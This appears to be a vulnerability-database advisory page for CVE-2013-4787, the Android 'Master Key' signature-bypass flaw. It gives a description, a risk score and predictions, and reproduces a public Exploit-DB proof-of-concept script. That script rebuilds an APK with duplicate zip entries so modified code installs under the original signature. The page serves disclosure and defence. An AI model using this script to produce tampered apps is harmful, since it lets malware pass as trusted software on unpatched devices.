CVE-2013-4787

critical

Published 2013-07-09 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Android 1.6 Donut through 4.2 Jelly Bean does not properly check cryptographic signatures for applications, which allows attackers to execute arbitrary code via an application package file (APK) that is modified in a way that does not violate the cryptographic signature, probably involving multiple entries in a Zip file with the same name in which one entry is validated but the other entry is installed, aka Android security bug 8219321 and the "Master Key" vulnerability.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38627 remote android verified python · 1 KB

Bluebox Security · 2013-07-03

Google Android - 'APK' code Remote Security Bypass

python exploit Source: Exploit-DB

#source: https://www.securityfocus.com/bid/60952/info
#
#Google Android is prone to a remote security-bypass vulnerability.
#
#Attackers can exploit this issue to bypass certain security restrictions to perform unauthorized actions. This may aid in further attacks. 

#!/bin/bash
# PoC for Android bug 8219321 by @pof
# +info: https://jira.cyanogenmod.org/browse/CYAN-1602
if [ -z $1 ]; then echo "Usage: $0 <file.apk>" ; exit 1 ; fi
APK=$1
rm -r out out.apk tmp 2>/dev/null
java -jar apktool.jar d $APK out
#apktool d $APK out
echo "Modify files, when done type 'exit'"
cd out
bash
cd ..
java -jar apktool.jar b out out.apk
#apktool b out out.apk
mkdir tmp
cd tmp/
unzip ../$APK
mv ../out.apk .
cat >poc.py <<-EOF
#!/usr/bin/python
import zipfile
import sys
z = zipfile.ZipFile(sys.argv[1], "a")
z.write(sys.argv[2])
z.close()
EOF
chmod 755 poc.py
for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; done
cp out.apk ../evil-$APK
cd ..
rm -rf tmp out
echo "Modified APK: evil-$APK"

References

CWEs

CWE-310

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.